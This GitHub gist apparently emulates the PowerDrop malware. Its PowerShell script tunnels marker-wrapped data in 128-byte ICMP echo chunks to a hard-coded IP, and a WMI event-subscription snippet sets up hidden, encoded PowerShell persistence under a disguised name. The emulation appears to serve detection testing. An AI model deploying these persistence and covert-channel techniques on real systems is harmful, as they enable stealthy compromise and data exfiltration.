Skip to content

Instantly share code, notes, and snippets.

@MHaggis
Created June 9, 2023 20:49
Show Gist options
  • Save MHaggis/a88335b03ffc127c1d26d5b8a8739a4f to your computer and use it in GitHub Desktop.
Save MHaggis/a88335b03ffc127c1d26d5b8a8739a4f to your computer and use it in GitHub Desktop.

PowerDropping

My script, PowerDropping, currently accomplishes the following parts of the PowerDrop behavior:

  • It sets a buffer size of 128 bytes, matching the chunk size PowerDrop uses when responses exceed this length.
  • It uses an ICMPClient, which aligns with PowerDrop's use of ICMP Echo Request messages.
  • It includes the use of a hard-coded IP address, similar to PowerDrop's hard-coded IP address for command and control communication.
  • It includes data in the ICMP Echo Request message. While my script uses a test string, PowerDrop uses a UTF16-LE encoded string, often a simple string like "!".
  • It includes a response timeout of 60 seconds, which is the same as PowerDrop's dwell time after sending a beacon.
  • It uses "DRP" and "OCD" as markers, aligning with PowerDrop's use of these strings as prepending and postpending markers in responses.
  • It splits oversized data into multiple messages, which aligns with PowerDrop's behavior for responses larger than 128 bytes.

This does not cover all the functionality.

PowerDropping

$BufferSize = 128
$ICMPClient = New-Object System.Net.NetworkInformation.Ping 
$IPAddress = "8.8.8.8" 
$sendbytes = [System.Text.Encoding]::ASCII.GetBytes("This is some test data for an ICMP echo request.")
$fix = [System.Text.Encoding]::UTF8.GetBytes("DRP")
$pix = [System.Text.Encoding]::UTF8.GetBytes("OCD")

if ($sendbytes.Length -gt $BufferSize) {
    $i = 0
    $start = 0
    $index = [Math]::Floor($sendbytes.Length / $BufferSize)
    while ($i -lt $index) {
        $endIndex = ($i + 1) * $BufferSize - 1
        $sendbytes2 = $sendbytes[$start..$endIndex]
        $pingReply = $ICMPClient.Send($IPAddress, 60 * 1000, $fix + $sendbytes2 + $pix)
        Write-Output ("RoundTrip time: " + $pingReply.RoundtripTime)
        $start = $endIndex + 1
        $i += 1
    }
    $remainingIndex = $sendbytes.Length % $BufferSize
    if ($remainingIndex -ne 0) {
        $sendbytes2 = $sendbytes[$start..($sendbytes.Length - 1)]
        $pingReply = $ICMPClient.Send($IPAddress, 60 * 1000, $fix + $sendbytes2 + $pix)
        Write-Output ("RoundTrip time: " + $pingReply.RoundtripTime)
    }
} else {
    $pingReply = $ICMPClient.Send($IPAddress, 60 * 1000, $fix + $sendbytes + $pix)
    Write-Output ("RoundTrip time: " + $pingReply.RoundtripTime)
}
 

WMI

# Define WMI objects
$filter = ([wmiclass]"\\.\root\subscription:__EventFilter").CreateInstance()
$consumer = ([wmiclass]"\\.\root\subscription:CommandLineEventConsumer").CreateInstance()

# Set properties for the filter
$filter.EventNamespace = "root\cimv2"
$filter.Name = "SystemPowerManager"
$filter.Query = "SELECT * FROM __InstanceModificationEvent WITHIN 120 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$filter.QueryLanguage = "WQL"
$filter.Put()

# Set properties for the consumer
$consumer.CommandLineTemplate = "powershell -window hidden -enc <encodedScript>"
$consumer.Name = "SystemPowerManager"
$consumer.Put()

# Create the binding
$binding = ([wmiclass]"\\.\root\subscription:__FilterToConsumerBinding").CreateInstance()
$binding.Consumer = $consumer
$binding.Filter = $filter
$binding.Put()

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment